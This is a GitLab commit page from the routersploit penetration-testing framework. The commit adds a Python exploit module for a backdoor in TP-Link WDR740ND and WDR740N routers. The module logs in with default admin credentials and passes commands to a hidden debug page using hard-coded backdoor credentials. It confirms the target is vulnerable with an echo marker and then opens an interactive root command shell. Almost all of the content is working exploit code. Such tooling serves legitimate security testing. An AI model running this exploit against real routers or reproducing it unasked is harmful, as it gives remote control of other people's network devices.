Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
684612b2
Commit
684612b2
authored
Jun 16, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
TP-Link Backdoor exploit.
parent
bb3fb13c
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
83 additions
and
0 deletions
+83
-0
wdr740nd_wdr740n_backdoor.py
...loit/modules/exploits/tplink/wdr740nd_wdr740n_backdoor.py
+83
-0
No files found.
routersploit/modules/exploits/tplink/wdr740nd_wdr740n_backdoor.py
0 → 100644
View file @
684612b2
import
re
from
urllib
import
quote
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_info
,
print_status
,
http_request
,
mute
,
validators
,
shell
,
random_text
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for TP-Link WDR740ND and WDR740N backdoor vulnerability.
If the target is vulnerable it allows to execute commands on operating system level.
"""
__info__
=
{
'name'
:
'TP-Link WDR740ND & WDR740N Backdoor RCE'
,
'description'
:
'Exploits TP-Link WDR740ND and WDR740N backdoor vulnerability that allows executing commands on operating system level.'
,
'authors'
:
[
'websec.ca'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'http://websec.ca/advisories/view/root-shell-tplink-wdr740'
,
],
'devices'
:
[
'TP-Link WDR740ND'
,
'TP-Link WDR740N'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
username
=
exploits
.
Option
(
'admin'
,
'Username to log in with'
)
password
=
exploits
.
Option
(
'admin'
,
'Password to log in with'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command shell"
)
shell
(
self
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
def
execute
(
self
,
cmd
):
cmd
=
quote
(
cmd
)
url
=
"{}:{}/userRpm/DebugResultRpm.htm?cmd={}&usr=osteam&passwd=5up"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
auth
=
(
self
.
username
,
self
.
password
))
if
response
is
None
:
return
""
if
response
.
status_code
==
200
:
regexp
=
'var cmdResult = new Array
\
(
\n
"(.*?)",
\n
0,0
\
);'
res
=
re
.
findall
(
regexp
,
response
.
text
)
if
len
(
res
):
# hard to extract response
return
"
\n
"
.
join
(
res
[
0
]
.
replace
(
"
\\
r
\\
n"
,
"
\r\n
"
)
.
split
(
"
\n
"
)[
1
:])
return
""
@mute
def
check
(
self
):
marker
=
random_text
(
32
)
cmd
=
"echo {}"
.
format
(
marker
)
response
=
self
.
execute
(
cmd
)
if
marker
in
response
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment